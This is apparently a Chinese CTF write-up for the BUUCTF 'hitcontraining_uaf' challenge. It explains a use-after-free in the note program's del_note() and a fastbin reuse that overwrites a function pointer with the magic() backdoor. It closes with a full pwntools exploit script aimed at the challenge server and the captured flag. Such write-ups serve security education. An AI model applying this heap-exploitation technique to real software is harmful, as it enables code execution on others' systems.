收获

  • 堆中的 ret2text

  • 利用 UAF 漏洞,两次 free,一次 malloc,篡改被释放的堆中的数据为后门函数地址,然后再打印被释放的堆块内容触发后门函数


【BUUCTF】hitcontraining_uaf


思路

本地环境:Glibc 2.23

查看保护机制:

【BUUCTF】hitcontraining_uaf1.png

尝试运行:

【BUUCTF】hitcontraining_uaf2.png

一个经典菜单题,IDA 下分析:

【BUUCTF】hitcontraining_uaf3.png

主要漏洞发生在 del_note() 中:

【BUUCTF】hitcontraining_uaf4.png

通过 free 释放内存后未置 0,存在 UAF 漏洞

同时存在一个后门函数 magic()

【BUUCTF】hitcontraining_uaf5.png

结合 GDB 调试,分析一下 add_note() 函数:

【BUUCTF】hitcontraining_uaf7.png

验证一下我们的分析,使用一次 add_note(32, b'aaaa') 后堆结构如下:

【BUUCTF】hitcontraining_uaf9.png

第一个堆块我们无法控制,它有两个指针,一个指向 print_note_content() 函数,一个指向 note chunk,我们只能控制第二个堆块 note chunkcontent

为了方便理解,用图表示出来就是这样:

【BUUCTF】hitcontraining_uaf8.png

print_note() 函数用于输出 note chunk 中的 content 内容:

【BUUCTF】hitcontraining_uaf10.png

【BUUCTF】hitcontraining_uaf11.png

由于存在 UAF 漏洞,于是我们的想法是覆盖 notelist[i][0] 的指针,使其指向 magic() 函数的地址

我们再通过 print_note() 函数将 notelist[i][1] 指向的 note chunk 打印,就会调用 notelist[i][0] 指向的 magic() 函数获得 shell

首先,创建两个 note chunk(实际上创建了 4 个堆,因为还有 2 个 notelist 堆):

【BUUCTF】hitcontraining_uaf12.png

【BUUCTF】hitcontraining_uaf13.png

分别释放它们:

【BUUCTF】hitcontraining_uaf14.png

此时如果我们再通过 add_note() 创建 new_note chunk

由于 add_note() 会创建两个堆块,而 fast bin 是后进先出的,会申请到 fastbin[0x10] 中的两个 fast bin,即 0x9f4d0380x9f4d000

【BUUCTF】hitcontraining_uaf15.png

然后我们覆盖 new_note chunk 的第一个内容为后门函数 magic() 的地址:

【BUUCTF】hitcontraining_uaf16.png

由于存在 UAF 漏洞,之前 free 掉的 notelist[0]note chunk 0 依然是可以使用的

我们其实相当于将之前 notelist[0][0] 指向 print_note_content() 函数的指针篡改为了指向 magic() 函数的指针

然后调用 print_note() 函数,打印被 free 掉的 note chunk 0 的内容,此时就会执行 notelist[0][0] 处的 magic() 函数,触发后门函数拿到 shell


脚本

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='i386', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 0
elf = ELF("./hacknote")

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./hacknote")
else:
	# 远程程序的 IP 和端口号
    io = remote("node5.buuoj.cn", 27407)


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()


def add_note(size, content):
    io.sendlineafter(b'Your choice :', "1")
    io.sendlineafter(b'Note size :', str(size))
    io.sendlineafter(b'Content :', content)

def del_note(index):
    io.sendlineafter(b'Your choice :', "2")
    io.sendlineafter(b'Index :', str(index))

def print_note(index):
    io.sendlineafter(b'Your choice :', "3")
    io.sendlineafter(b'Index :', str(index))


add_note(32, b'aaaa')
add_note(32, b'bbbb')

del_note(0)
del_note(1)

magic_addr = elf.symbols["magic"]
add_note(8, p32(magic_addr))

print_note(0)

# 与远程交互
io.interactive()

结果

flag{6e193074-b875-4c2a-bb9d-3828320fa467}

【BUUCTF】hitcontraining_uaf6.png